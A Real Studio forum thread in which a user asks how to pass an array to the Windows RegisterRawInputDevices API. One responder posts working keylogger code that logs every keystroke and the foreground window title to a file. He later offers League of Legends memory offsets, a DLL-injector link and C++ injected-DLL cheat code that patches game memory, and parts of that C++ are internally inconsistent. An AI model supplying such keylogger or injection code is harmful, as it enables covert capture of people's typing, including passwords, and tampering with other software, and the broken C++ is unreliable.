Real Software Forums

The forum for Real Studio and other Real Software products.
[ REAL Software Website | Board Index ]
It is currently Fri Jul 20, 2018 1:42 pm
xojo

All times are UTC - 5 hours




Post new topic Reply to topic  [ 17 posts ]  Go to page 1, 2  Next
Author Message
 Post subject: Passing an array in a declare?
PostPosted: Sun Apr 22, 2012 12:04 pm 
Offline

Joined: Sat Jul 16, 2011 2:45 pm
Posts: 76
Hi all,

One library /API from Microsoft I am using (specifically rawinput) requires an array to be passed. Reference: http://msdn.microsoft.com/en-us/library ... 85%29.aspx .

I just want to quickly check the correct way to pass an array into it; I am assuming that I will have to:

-Create a memory block, looping through my array and passing each structure one by one (or using a memory block instead in the first place)
-Create Another memory block, this time with pointers to each portion of the memory block.
-Pass the second memory block (of pointers) to the library?

I am a bit confused by cbSize, since the structures are of a fixed size (12bytes - u16, u16, u32, hwnd) so it seems redundant, unless pRawInputDevices should actually be the first memoryblock (data) rather than a list of pointers as it will calculate the offset itself?

As per the structures being passed into an array, I am not sure if I need to be doing it in reverse (hwnd first, usagepage last or vise versa)?


Please advise :)


Top
 Profile  
Reply with quote  
 Post subject: Re: Passing an array in a declare?
PostPosted: Sun Apr 22, 2012 8:29 pm 
Offline
User avatar

Joined: Sun Aug 12, 2007 10:10 am
Posts: 1086
Location: Boiling Springs, SC
What kind of HID device are you trying to capture data from exactly? Keyboard? Mouse? USB? since the API's you are referencing must be created before the CreateWindow event and before the first "update", you will be unable to replicate this in RB unless you use a 3rd party plugin (ie MonkeybreadSoftware) or mcHID.dll wrapper which is free and for windows only. Without knowing the device you are trying to capture rawinput from, not much help can be given.

_________________
Matthew A. Combatti
Real Studio 2012 r1.2

Visit Xojo Developer's Spot!
Systems I Use:
Windows XP/Windows Vista/Windows Server 2008 r2/Windows 7/Windows 8
Mac OSX 10.5/Mac OSX 10.6/Mac OSX Server/Ubuntu/Debian/Suse/Red Hat/
Windows Server 2011/CentOS 5.4 /ReactOS/SimOS

~All Xojo Compatible~


Top
 Profile  
Reply with quote  
 Post subject: Re: Passing an array in a declare?
PostPosted: Sun Apr 22, 2012 11:19 pm 
Offline

Joined: Sat Jul 16, 2011 2:45 pm
Posts: 76
Hi,

Yes, this will be for the keyboard but was not aware you need to do it before creating a window? Thought it was a matter of registering for it and then looping for messages?


Top
 Profile  
Reply with quote  
 Post subject: Re: Passing an array in a declare?
PostPosted: Mon Apr 23, 2012 1:35 pm 
Offline
User avatar

Joined: Sun Aug 12, 2007 10:10 am
Posts: 1086
Location: Boiling Springs, SC
I have found a way around it using widows API createwindowex which can be called after the RB app has started. After creating an instance of an "invisible" form using createwindowex, You'll have to start with

Declare Function RegisterRawInputDevices Lib "User32.dll" (ByVal pRawInputDevice As RAWINPUTDEVICE(), ByVal uiNumDevices As Integer, ByVal cbSize As Integer) As Boolean

(make sure to create new structures for the windows constant data types and loop through the other Apis necessary to getrawinput buffer/data. The only reason why rawinputdata must be declared before the window is created is because the API must hook a target window before it is created.. Thus createwindowex :-) (see msdn.com for registerrawinput documentation)

What exactly are you trying to achieve? If you're simply using a standard keyboard, you could always use RB built in getasynchronouskey or use windows API to do the same without having to hook the HID input stream.. There are 5 ways I can think of to get the keyboard/hid input device data.. All of them work similarly... If you can provide a basic outline of what you want you app to do I would be glad to make an example for you.

_________________
Matthew A. Combatti
Real Studio 2012 r1.2

Visit Xojo Developer's Spot!
Systems I Use:
Windows XP/Windows Vista/Windows Server 2008 r2/Windows 7/Windows 8
Mac OSX 10.5/Mac OSX 10.6/Mac OSX Server/Ubuntu/Debian/Suse/Red Hat/
Windows Server 2011/CentOS 5.4 /ReactOS/SimOS

~All Xojo Compatible~


Top
 Profile  
Reply with quote  
 Post subject: Re: Passing an array in a declare?
PostPosted: Mon Apr 23, 2012 2:35 pm 
Offline

Joined: Sat Jul 16, 2011 2:45 pm
Posts: 76
Hi,

Thanks for the reply.

RS's key event will not work, neither will MS's register hotkey because this particular application seems to be blocking the keyboard while it is in focus. I do not actually know whether raw input will work, but I do know you can capture events even when the application isn't in focus so I am merely implementing it, to see if it will work.

The problem is, real studio says that I can not pass an array to an external function, so I am lost as to how one actually passes an array, baring in mind microsoft has nothing detailing (that i can see) what they define as an array.

Also, in regards to not being able to use RegisterRawInput after RS, as I understand the messages are posted to the WinProc function (which naturally realstudio have created and manage for you) but it is possible to, if i've not been mistaken to create a new winProc yourself though that would be my next challenge to implement :<


Top
 Profile  
Reply with quote  
 Post subject: Re: Passing an array in a declare?
PostPosted: Mon Apr 23, 2012 4:04 pm 
Offline

Joined: Fri Jan 06, 2006 3:21 pm
Posts: 12388
Location: Portland, OR USA
Subclassing your existing window (or control in a window) is quite straightforward. Create a new winProc and pass any events you don't handle to the original winProc. There are examples in the WFS to get you started. I don't follow simulanics statement about having to do something before the window is created. Maybe he's talking about something else.


Top
 Profile  
Reply with quote  
 Post subject: Re: Passing an array in a declare?
PostPosted: Mon Apr 23, 2012 7:44 pm 
Offline

Joined: Sat Jul 16, 2011 2:45 pm
Posts: 76
timhare wrote:
Subclassing your existing window (or control in a window) is quite straightforward. Create a new winProc and pass any events you don't handle to the original winProc. There are examples in the WFS to get you started. I don't follow simulanics statement about having to do something before the window is created. Maybe he's talking about something else.
Yes, this is what i was referring to; I believe it was you who mentioned it in my previous thread and I am confident this would be all I need to do with Raw input.

But I am still stuck as to how one passes an array to a DLL since RS is telling me I can't pass an array to external functions?


Top
 Profile  
Reply with quote  
 Post subject: Re: Passing an array in a declare?
PostPosted: Mon Apr 23, 2012 7:55 pm 
Offline
User avatar

Joined: Sun Aug 12, 2007 10:10 am
Posts: 1086
Location: Boiling Springs, SC
So a method like this wont work? This method is a common "keylogger" approach and should get keys regardless of the window which has focus :-) You will need to modify it to your needs ...place the following in a timer set to multiple and it's interval set to 1

#If TargetWin32

Const VK_CAPITAL = &H14

Declare Function GetAsyncKeyState Lib "user32" ( vKey As Integer ) As Integer
Declare Function GetKeyState Lib "user32" ( nVirtKey As Integer ) As Integer
Declare Function GetForegroundWindow Lib "user32.dll"() as integer
Declare Function GetWindowTextLength Lib "user32" alias "GetWindowTextLengthA"(hWnd as Integer) as integer
Declare Function GetWindowText Lib "user32" alias "GetWindowTextA"(hWnd as Integer, lpString as cstring, cch as Integer) as integer

Dim Key As Integer
Dim Ret As Integer
Dim i As Integer
Dim CapsOn As Boolean
Dim f As FolderItem
Dim Log as string

Dim t As TextOutputStream
Dim Buff,WinTitle As String
DIM varTopWindow As Boolean

Buff = Space (GetWindowTextLength(GetForegroundWindow))
Call GetWindowText(GetForegroundWindow, Buff, GetWindowTextLength(GetForegroundWindow) + 1)
If Buff = WinTitle Then varTopWindow = True Else varTopWindow = False
If varTopWindow = True Then Exit Else Status.Text=buff

Ret = GetKeyState(VK_CAPITAL)
If Ret = 0 Then CapsOn= False
If Ret = 1 Then CapsOn = True

Key = GetAsyncKeyState(13)
If Key = -32767 Then Log = EndOfLine

Key = GetAsyncKeyState(8)
If Key = -32767 Then Log = "[BACK]"

Key = GetAsyncKeyState(9)
If Key = -32767 Then Log = "[TAB]"

Key = GetAsyncKeyState(17)
If Key = -32767 Then Log = "[CTRL]"

Key = GetAsyncKeyState(18)
If Key = -32767 Then Log = "[ALT]"

Key = GetAsyncKeyState(192)
If Key = -32767 Then
If Keyboard.asyncShiftKey Then Log = "~" Else Log = "`"
End

Key = GetAsyncKeyState(187)
If Key = -32767 Then
If Keyboard.asyncShiftKey Then Log = "+" Else Log = "="
End

Key = GetAsyncKeyState(189)
If Key = -32767 Then
If Keyboard.asyncShiftKey Then Log = "_" Else Log = "-"
End

Key = GetAsyncKeyState(220)
If Key = -32767 Then
If Keyboard.asyncShiftKey Then Log = "|" Else Log = "\"
End

Key = GetAsyncKeyState(219)
If Key = -32767 Then
If Keyboard.asyncShiftKey Then Log = "{" Else Log = "["
End

Key = GetAsyncKeyState(221)
If Key = -32767 Then
If Keyboard.asyncShiftKey Then Log = "}"Else Log = "]"
End

Key = GetAsyncKeyState(188)
If Key = -32767 Then
If Keyboard.asyncShiftKey Then Log = "<" Else Log = ","
End

Key = GetAsyncKeyState(190)
If Key = -32767 Then
If Keyboard.asyncShiftKey Then Log = ">" Else Log = "."
End

Key = GetAsyncKeyState(186)
If Key = -32767 Then
If Keyboard.asyncShiftKey Then Log = ":" Else Log = ";"
End

Key = GetAsyncKeyState(191)
If Key = -32767 Then
If Keyboard.asyncShiftKey Then Log = "?" Else Log = "/"
End

Key = GetAsyncKeyState(222)
If Key = -32767 Then
If Keyboard.asyncShiftKey Then Log = "'" Else Log = Chr(34)
End

Key = GetAsyncKeyState(32)
If Key = -32767 Then Log = Chr(&h20)

Key = GetAsyncKeyState(13)
If Key = -32767 Then Log = EndOfLine

For i = 112 To 123
Key = GetAsyncKeyState(i)
If Key = -32767 Then
Log = "[F"+Str(i - 111)+"]"
End
Next i

For i = 65 To 90
Key = 0
Key = GetAsyncKeyState(i)
If Key = -32767 Then
If Keyboard.asyncShiftKey=False Then
If CapsOn Then Log = UpperCase(Chr(i))
If CapsOn = False Then Log = LowerCase(Chr(i))
End
End
Next

For i = 48 To 57
Key = 0
Key = GetAsyncKeyState(i)
If Key = -32767 Then

If Keyboard.asyncShiftKey Then

Select Case Val(Chr(i))

Case 1
Log = "!"

Case 2
Log = "@"

Case 3
Log = "#"

Case 4
Log = "$"

Case 5
Log = "%"

Case 6
Log = "^"

Case 7
Log = "&"

Case 8
Log = "*"

Case 9
Log = "("

Case 0
Log = ")"

End Select
Else
Log = Chr(i)
End
End
Next

//lets try saving the keys to file :-)
f= GetFolderItem("keys.txt" )
t = f.AppendToTextFile()


if t = NIL Then//check for errors
Return
End

t.Write Log
t.Close

If Log <> "" Then Log = ""
#EndIf


From: http://www.toymaker.info/Games/html/raw_input.html
Reference:
The above function call does the actual registering of the devices. You must supply an array of devices, the number of devices and the size of the structure. If this returns false an error has occurred. You need to register your devices after the window has been created but before the first update. So either do it straight after calling CreateWindow in your WinMain or trap the WM_CREATE message in your window procedure and do it there.

You are now ready to start trapping raw input messages.


Apologies...meant the devices had to be registered after createwindowex but before it's first update (window1.show) :-)

_________________
Matthew A. Combatti
Real Studio 2012 r1.2

Visit Xojo Developer's Spot!
Systems I Use:
Windows XP/Windows Vista/Windows Server 2008 r2/Windows 7/Windows 8
Mac OSX 10.5/Mac OSX 10.6/Mac OSX Server/Ubuntu/Debian/Suse/Red Hat/
Windows Server 2011/CentOS 5.4 /ReactOS/SimOS

~All Xojo Compatible~


Top
 Profile  
Reply with quote  
 Post subject: Re: Passing an array in a declare?
PostPosted: Tue Apr 24, 2012 8:44 am 
Offline

Joined: Sat Jul 16, 2011 2:45 pm
Posts: 76
Hi thanks for the reply,

Your code does not work as "space" is an unknown method:

Buff = Space (GetWindowTextLength(GetForegroundWindow))
Call GetWindowText(GetForegroundWindow, Buff, GetWindowTextLength(GetForegroundWindow) + 1)
If Buff = WinTitle Then varTopWindow = True Else varTopWindow = False
If varTopWindow = True Then Exit Else Status.Text=buff


As per the Raw input, really going in it too far for the actual stage I am at... I am only asking why Realstudio is saying I can't pass an array to an external function, hence, I can not pass an array of RAWDEVICES as it won't compile?
Quote:
You can't pass an array to an external function


So how is one supposed to pass an array of devices when Relstudio doesn't allow arrays to be passed to external functions?


Top
 Profile  
Reply with quote  
 Post subject: Re: Passing an array in a declare?
PostPosted: Tue Apr 24, 2012 10:02 am 
Offline
User avatar

Joined: Sun Aug 12, 2007 10:10 am
Posts: 1086
Location: Boiling Springs, SC
lukus001 wrote:
Hi thanks for the reply,

Your code does not work as "space" is an unknown method:

Buff = Space (GetWindowTextLength(GetForegroundWindow))
Call GetWindowText(GetForegroundWindow, Buff, GetWindowTextLength(GetForegroundWindow) + 1)
If Buff = WinTitle Then varTopWindow = True Else varTopWindow = False
If varTopWindow = True Then Exit Else Status.Text=buff


As per the Raw input, really going in it too far for the actual stage I am at... I am only asking why Realstudio is saying I can't pass an array to an external function, hence, I can not pass an array of RAWDEVICES as it won't compile?
Quote:
You can't pass an array to an external function


So how is one supposed to pass an array of devices when Relstudio doesn't all

ow arrays to be passed to external functions?



Sorry will share the rbp project.. Didt read through the code for external methods before posting :)

here's space

Function Space(n as integer) As string
dim s as String
for i as Integer = 1 to n
s = s + " "
next
Return s
End Function


perhaps if you made a plugin using the C/c++ code provided in microsoft's msdn it would work using registerrawinput :-) If you need assistance, there is plenty of documentation in the extra's folder and I will take a dabble at it later myself :-)


the keylogger method should work as it uses functions from user32.dll and is "pre-configured" rawinput methods (also found in user32.dll) [see reactos source for example (reactos is an open source version of microsoft windows... both getasynkey and getkeystate register the keyboard as a rawinputdevice in user32.dll)]


Declare Function RegisterRawInputDevices Lib "User32.dll" (ByVal pRawInputDevice As RAWINPUTDEVICE(), ByVal uiNumDevices As Integer, ByVal cbSize As Integer) As Boolean

Public Structure RAWINPUTDEVICE
Public hDevice As IntPtr
Public dwType As DeviceTypes
Public Shared ReadOnly Size As Integer = Marshal.SizeOf(GetType(RAWINPUTDEVICE))
End Structure

Public Enum DeviceTypes AsUInteger
RIM_TYPEHID = 2
RIM_TYPEKEYBOARD = 1
RIM_TYPEMOUSE = 0
EndEnum

Public Structure RAWKEYBOARD
Public MakeCode As UShort
Public Flags As RAWKEYBOARDFlags
Public Reserved As UShort
Public VKey As UShort
Public Message As Messages.WindowMessages
Public ExtraInformation As UInteger
End Structure


found and tested this...registering a keyboard without using getasynckey or getkeystate in visual studio 2010 is as above. RAWINPUTDEVICE() is a datatype(structure) not an array.

_________________
Matthew A. Combatti
Real Studio 2012 r1.2

Visit Xojo Developer's Spot!
Systems I Use:
Windows XP/Windows Vista/Windows Server 2008 r2/Windows 7/Windows 8
Mac OSX 10.5/Mac OSX 10.6/Mac OSX Server/Ubuntu/Debian/Suse/Red Hat/
Windows Server 2011/CentOS 5.4 /ReactOS/SimOS

~All Xojo Compatible~


Top
 Profile  
Reply with quote  
 Post subject: Re: Passing an array in a declare?
PostPosted: Tue Apr 24, 2012 12:21 pm 
Offline

Joined: Sat Jul 16, 2011 2:45 pm
Posts: 76
Thanks for the reply again :3

Got your code to run, however, as I mentioned previously it can not pick up key presses while this particular application is running & is in focus (as was the case with register hotkey). In fact, it doesn't even work when their Adobe Air lobby client is running let alone the actual game. It does pick up key presses with other applications that are in focus though, just not the one I want.

Don't get me wrong though, it's not a problem with your code, it's actually a problem with this program in question because any program with a typical hotkey function, say an MP3 player keybound to F1 to skip to the next track will also not work. The only way guaranteed to work is a global hook but I am trying to avoid that since you need to make your own DLL ¬_¬;;

As per RawInput, I already have the Enums and structures implemented i.e. RAWDEVICES - my understanding of programming and structures isn't that great; but the structure is only a "blank template" representing one "entry"? To have multiple RAWDEVICES one needs to have an array of them if I am not mistaken? So I am a bit confused with the following:
Quote:
RAWINPUTDEVICE() is a datatype(structure) not an array.
I understand a structure it is not an array, but isn't RAWDEVICES() an array of structures?

RegisterRawInput is asking for an array of devices though, so that is the only context that I can go off of:
i.e.:
Quote:
pRawInputDevices [in]

Type: PCRAWINPUTDEVICE

An array of RAWINPUTDEVICE structures that represent the devices that supply the raw input.


However, any attempts of passing an array-type property i.e. RAWDEVICES() is either presented with the error stating one can not pass an array to external function or a syntax /incorrect parameter error of sorts - so either im doing it wrong or it really can't be used.

This leads me back to my original question of how one is supposed to be passing an array to a function that is asking for an array? if it's a simple list of RAWDEVICES structures in a chunk of memory then so be it, but without any definition or context and nothing other than errors I really do not know how to pass a simple array to a simple function asking for an array :s


Top
 Profile  
Reply with quote  
 Post subject: Re: Passing an array in a declare?
PostPosted: Tue Apr 24, 2012 1:01 pm 
Offline
User avatar

Joined: Sun Aug 12, 2007 10:10 am
Posts: 1086
Location: Boiling Springs, SC
What is the software you are trying to capture the keys from? Would like to test the software and see what methods are available to hook the key input. Might help me also in generating a plugin that might help others whom may come across this same issue. Registering a rawinputdevice seems to be easier to manipulate in C/c++ (through my test dabbling today). As much as I hate plugins (prefer straight forward code)...occasionally I have had to rely solely upon creating a plugin to get something to work as desired :-/

_________________
Matthew A. Combatti
Real Studio 2012 r1.2

Visit Xojo Developer's Spot!
Systems I Use:
Windows XP/Windows Vista/Windows Server 2008 r2/Windows 7/Windows 8
Mac OSX 10.5/Mac OSX 10.6/Mac OSX Server/Ubuntu/Debian/Suse/Red Hat/
Windows Server 2011/CentOS 5.4 /ReactOS/SimOS

~All Xojo Compatible~


Top
 Profile  
Reply with quote  
 Post subject: Re: Passing an array in a declare?
PostPosted: Tue Apr 24, 2012 1:12 pm 
Offline

Joined: Fri Jan 06, 2006 3:21 pm
Posts: 12388
Location: Portland, OR USA
lukus001 wrote:
Hi all,

One library /API from Microsoft I am using (specifically rawinput) requires an array to be passed. Reference: http://msdn.microsoft.com/en-us/library ... 85%29.aspx .

I just want to quickly check the correct way to pass an array into it; I am assuming that I will have to:

-Create a memory block, looping through my array and passing each structure one by one (or using a memory block instead in the first place)
-Create Another memory block, this time with pointers to each portion of the memory block.
-Pass the second memory block (of pointers) to the library?

This is the correct approach.


Top
 Profile  
Reply with quote  
 Post subject: Re: Passing an array in a declare?
PostPosted: Tue Apr 24, 2012 1:40 pm 
Offline

Joined: Sat Jul 16, 2011 2:45 pm
Posts: 76
simulanics wrote:
What is the software you are trying to capture the keys from? Would like to test the software and see what methods are available to hook the key input. Might help me also in generating a plugin that might help others whom may come across this same issue. Registering a rawinputdevice seems to be easier to manipulate in C/c++ (through my test dabbling today). As much as I hate plugins (prefer straight forward code)...occasionally I have had to rely solely upon creating a plugin to get something to work as desired :-/
It's an online game called "League of legends", even though it's free to play it will be 1.5GB download just to test heh :P

I'm assuming they've employed some form of keyboard block to prevent players from using macro /bots or otherwise "cheat" but instead, they've broken loads of legitimate uses and they can't stop a global keyboard hook (which similar apps use anyway atm, just I don't really program in other languages to enable me to make a DLL plus as a general rule of thumb, you dont want a global hook where possible anyway).
Quote:
This is the correct approach.

:3 thanks - I shale go test it :3


Top
 Profile  
Reply with quote  
 Post subject: Re: Passing an array in a declare?
PostPosted: Tue Apr 24, 2012 2:24 pm 
Offline
User avatar

Joined: Sun Aug 12, 2007 10:10 am
Posts: 1086
Location: Boiling Springs, SC
Are you attempting to make a hack bot? Hacking is more of my specialty than "simple" programming :-) You can hook directly into the game memory and view/change the values stored in HEX.

Using OllyDebugugger I have obtained quite a few of the pointers which may help in creating a bot or whatever you are creating ;-)

Base = 9E7FB4 + 0xCC
CurrHP = Base + 0×140
MaxHP = Base + 0×144
Level = Base + 0×150
CurrMP = Base + 0×148
MaxMP = Base + 0x14C
BaseFloats = 0x9E7FB4 + 0xC8
Money = BaseFloats + 0xF0
Attack = BaseFloats + 0×108
AbilityPower = BaseFloats + 0×100
AttackSpeed = BaseFloats +0x10c
MovementSpeed = BaseFloats + 0×118
Armor = BaseFloats + 0×104
MagicArmor = BaseFloats + 0×114

For kills:
KillBase= 9E7FB4 + 0×90
MyKills = KillBase + 0×90
MyDeaths = KillBase +0xEC
MyAssists = KillBase + 0xF0
Teamscore = KillBase + 0xFC
EnemyScore = KillBase + 0×100



DLL Injector
http://www.mpgh.net/forum/404-call-duty ... 1-3-a.html


Creating a DLL Hack ;-) The following is enough to get a window to popup when insert is pressed after the injector is used... with hack options...memory values are above

#include <windows.h>

void MemEdit(PVOID dwAdd, void *val, int bytes)
{
DWORD d, ds;
VirtualProtect(dwAdd, bytes, PAGE_EXECUTE_READWRITE, &d);
memcpy(dwAdd, val, bytes);
VirtualProtect(dwAdd,bytes,d,&ds);
}


BOOL WINAPI DllMain ( HMODULE hDll, DWORD dwReason, LPVOID lpReserved )
{
&nbsp; &nbsp;DisableThreadLibraryCalls(hDll);
&nbsp; &nbsp;if ( dwReason == DLL_PROCESS_ATTACH )
&nbsp; &nbsp;{
&nbsp; &nbsp;&nbsp; &nbsp;int MenuX = 200;
int MenuY = 200;
int MenuH = 200;
int MenuW = 200;
#define White D3DCOLOR_ARGB (255,255,255,255)
#define Black D3DCOLOR_ARGB (255,0,0,0)
#define Red D3DCOLOR_ARGB (255,255,0,0)

if(menu){//Might have to change this.
DrawBox(MenuX, MenuY, MenuH, MenuW, White, Black, pDevice)//White is the box fill, Black is the Border Color
DrawText(pDevice, MenuX + 10, MenuY + 10, Red, "League of Legends Hack")
//Add menu options here
//USE CreateThread(0, 0, (LPTHREAD_START_ROUTINE)PUTPROCEDURENAMEHERE_OR USE MEMEDIT(VALUES), 0, 0, 0);
//WHEN A MENU OPTION or KEY is pressed :-)
}
&nbsp; &nbsp;}

&nbsp; &nbsp;return TRUE;
}

void FillRGB( int x, int y, int w, int h, D3DCOLOR color, IDirect3DDevice9* pDevice )
{
&nbsp; &nbsp;D3DRECT rec = { x, y, x + w, y + h };
&nbsp; &nbsp;pDevice->Clear( 1, &rec, D3DCLEAR_TARGET, color, 0, 0 );
}
void DrawBorder( int x, int y, int w, int h, int px, D3DCOLOR BorderColor, IDirect3DDevice9* pDevice )
{
&nbsp; &nbsp;FillRGB( x, (y + h - px), w, px,&nbsp; &nbsp;BorderColor, pDevice );
&nbsp; &nbsp;FillRGB( x, y, px, h,&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;BorderColor, pDevice );
&nbsp; &nbsp;FillRGB( x, y, w, px,&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;BorderColor, pDevice );
&nbsp; &nbsp;FillRGB( (x + w - px), y, px, h,&nbsp; &nbsp;BorderColor, pDevice );
}
void DrawBox( int x, int y, int w, int h,int px, D3DCOLOR BoxColor, D3DCOLOR BorderColor, IDirect3DDevice9* pDevice )
{
&nbsp; &nbsp;FillRGB( x, y, w, h,&nbsp; &nbsp;&nbsp; &nbsp;BoxColor, pDevice );
&nbsp; &nbsp;DrawBorder( x, y, w, h, px,&nbsp; &nbsp;BorderColor, pDevice );
}
VOID DrawText(LPDIRECT3DDEVICE9 pDevice, INT x, INT y, DWORD color, CHAR *text)
{
&nbsp; &nbsp;RECT rect;
&nbsp; &nbsp;SetRect(&rect, x, y, x, y);
&nbsp; &nbsp;Directx_Font->DrawText(NULL, text, -1, &rect, DT_LEFT | DT_NOCLIP, color);
}

//HERE's one hack....quick fire attack
bool rRapidfire, SetRapidFire;
float EndWait;
void DoRapidFire(int Status)
{
&nbsp; &nbsp;if(Status)
&nbsp; &nbsp;{
&nbsp; &nbsp;&nbsp; &nbsp;if(GetAsyncKeyState(VK_MBUTTON)<0)
&nbsp; &nbsp;&nbsp; &nbsp;{
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;if(clock() < EndWait)
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;{
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;MemEdit((PBYTE)ADDR_RAPIDFIRE1, (PBYTE)"\x74\x09", 2);
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;MemEdit((PBYTE)ADDR_RAPIDFIRE2, (PBYTE)"\x80\xBE\xE0\x00\x00\x00\x00", 7);
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;MemEdit((PBYTE)ADDR_RAPIDFIRE3, (PBYTE)"\x7E\x15", 2);
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;MemEdit((PBYTE)ADDR_RAPIDFIRE4, (PBYTE)"\x74\x3E", 2);
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;MemEdit((PBYTE)ADDR_RAPIDFIRE5, (PBYTE)"\x8B\x86\xEC\x00\x00\x00", 6);
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;}
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;else
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;{
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;EndWait = clock() + 0.09 * CLOCKS_PER_SEC;
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;MemEdit((PBYTE)ADDR_RAPIDFIRE1, (PBYTE)"\x90\x90", 2);
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;MemEdit((PBYTE)ADDR_RAPIDFIRE2, (PBYTE)"\x90\x90\x90\x90\x90\x90\x90", 7);
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;MemEdit((PBYTE)ADDR_RAPIDFIRE3, (PBYTE)"\x90\x90", 2);
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;MemEdit((PBYTE)ADDR_RAPIDFIRE4, (PBYTE)"\x90\x90", 2);
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;MemEdit((PBYTE)ADDR_RAPIDFIRE5, (PBYTE)"\x90\x90\x90\x90\x90\x90", 6);
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;}
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;SetRapidFire = true;
&nbsp; &nbsp;&nbsp; &nbsp;}
&nbsp; &nbsp;&nbsp; &nbsp;else
&nbsp; &nbsp;&nbsp; &nbsp;{
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;if(SetRapidFire)
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;{
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;MemEdit((PBYTE)ADDR_RAPIDFIRE1, (PBYTE)"\x74\x09", 2);
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;MemEdit((PBYTE)ADDR_RAPIDFIRE2, (PBYTE)"\x80\xBE\xE0\x00\x00\x00\x00", 7);
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;MemEdit((PBYTE)ADDR_RAPIDFIRE3, (PBYTE)"\x7E\x15", 2);
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;MemEdit((PBYTE)ADDR_RAPIDFIRE4, (PBYTE)"\x74\x3E", 2);
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;MemEdit((PBYTE)ADDR_RAPIDFIRE5, (PBYTE)"\x8B\x86\xEC\x00\x00\x00", 6);
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;SetRapidFire = false;
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;}
&nbsp; &nbsp;&nbsp; &nbsp;}
&nbsp; &nbsp;&nbsp; &nbsp;rRapidfire = true;
&nbsp; &nbsp;}
&nbsp; &nbsp;else
&nbsp; &nbsp;{
&nbsp; &nbsp;&nbsp; &nbsp;if(rRapidfire)
&nbsp; &nbsp;&nbsp; &nbsp;{
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;MemEdit((PBYTE)ADDR_RAPIDFIRE1, (PBYTE)"\x74\x09", 2);
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;MemEdit((PBYTE)ADDR_RAPIDFIRE2, (PBYTE)"\x80\xBE\xE0\x00\x00\x00\x00", 7);
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;MemEdit((PBYTE)ADDR_RAPIDFIRE3, (PBYTE)"\x7E\x15", 2);
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;MemEdit((PBYTE)ADDR_RAPIDFIRE4, (PBYTE)"\x74\x3E", 2);
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;MemEdit((PBYTE)ADDR_RAPIDFIRE5, (PBYTE)"\x8B\x86\xEC\x00\x00\x00", 6);
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;rRapidfire = false;
&nbsp; &nbsp;&nbsp; &nbsp;}
&nbsp; &nbsp;}
}


Really not the place for the code above but maybe it may help you...havn't quite figured out what you are trying to achieve in game-play ;-)

_________________
Matthew A. Combatti
Real Studio 2012 r1.2

Visit Xojo Developer's Spot!
Systems I Use:
Windows XP/Windows Vista/Windows Server 2008 r2/Windows 7/Windows 8
Mac OSX 10.5/Mac OSX 10.6/Mac OSX Server/Ubuntu/Debian/Suse/Red Hat/
Windows Server 2011/CentOS 5.4 /ReactOS/SimOS

~All Xojo Compatible~


Top
 Profile  
Reply with quote  
Display posts from previous:  Sort by  
Post new topic Reply to topic  [ 17 posts ]  Go to page 1, 2  Next

All times are UTC - 5 hours


You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum

Search for:
Jump to:  
cron
Powered by phpBB © 2000, 2002, 2005, 2007 phpBB Group